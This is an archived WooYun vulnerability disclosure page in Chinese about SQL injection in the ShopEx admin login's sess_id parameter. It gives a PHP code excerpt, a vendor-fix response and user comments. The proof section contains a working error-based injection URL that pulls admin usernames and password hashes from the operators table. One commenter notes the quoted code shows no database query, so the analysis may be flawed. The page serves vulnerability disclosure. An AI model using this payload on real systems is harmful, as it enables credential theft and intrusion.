当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033500

漏洞标题:Shopex后台登录页面某参数存在注入

相关厂商:ShopEx

漏洞作者: saline

提交时间:2013-08-05 09:53

修复时间:2013-11-03 09:53

公开时间:2013-11-03 09:53

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-05: 细节已通知厂商并且等待厂商处理中
2013-08-05: 厂商已经确认,细节仅向厂商公开
2013-08-08: 细节向第三方安全合作伙伴开放
2013-09-29: 细节向核心白帽子及相关领域专家公开
2013-10-09: 细节向普通白帽子公开
2013-10-19: 细节向实习白帽子公开
2013-11-03: 细节向公众公开

简要描述:

对登录时传递的某参数未做过滤,导致注入的产生

详细说明:

最近做二次开发的时候看到了登录的流程
发现在文件\shopex\core\admin\controller\ctl.passport.php
处理了验证码,管理帐号和密码,但是在最底下发现一个sess_id

function certi_validate(){
$cert = $this->system->loadModel('service/certificate');
$sess_id = $_POST['session_id'];
$return = array();
if($sess_id == $cert->get_sess()){
$return = array(
'res' => 'succ',
'msg' => '',
'info' => ''
);
echo json_encode($return);
}else{
$return = array(
'res' => 'fail',
'msg' => '000001',
'info' => 'You have the different session!'
);
echo json_encode($return);
}
}


没做处理。直接导致sql注入产生。还在学php,分析错的地方请指正

漏洞证明:

http://fuck.0day5.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1

1.jpg


http://fuck.0day5.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1'+and(select+1+from(select+count(*),concat((select+(select+(select+concat(userpass,0x7e,username,0x7e,op_id)+from+sdb_operators+Order+by+username+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'='1
顺带路径一起爆出来了

2.jpg


修复方案:

这个你们比我在行的说。

版权声明:转载请注明来源 saline@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-08-05 14:00

厂商回复:

新版本中该问题已经修复
存在问题的请尽快升级至最新版本,安装补丁包
非常感谢您为shopex信息安全做的贡献

最新状态:

暂无


漏洞评价:

评论

  1. 2013-08-05 10:16 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    mark

  2. 2013-08-05 10:27 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    大媳妇我来看你了

  3. 2013-08-05 10:30 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    简要描述好详细,我也成功了。

  4. 2013-08-05 11:44 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    @VIP 你又调皮了

  5. 2013-08-05 11:58 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)

    @谁呢 已确认

  6. 2013-08-05 13:59 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    应该是在cookie里面吧

  7. 2013-09-14 14:54 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    1RANK,厂商是怎么想的。就算修复了也不该这么玩

  8. 2013-09-14 16:33 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    @园长 大媳妇@园长 以后搞到shopex的了直接放出去~嘿嘿~

  9. 2014-01-23 17:27 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    $sess_id = $_POST['session_id'];只看到了这儿出现了参数传递,没看到与数据库交互,LZ怎么看出来的啊? 求教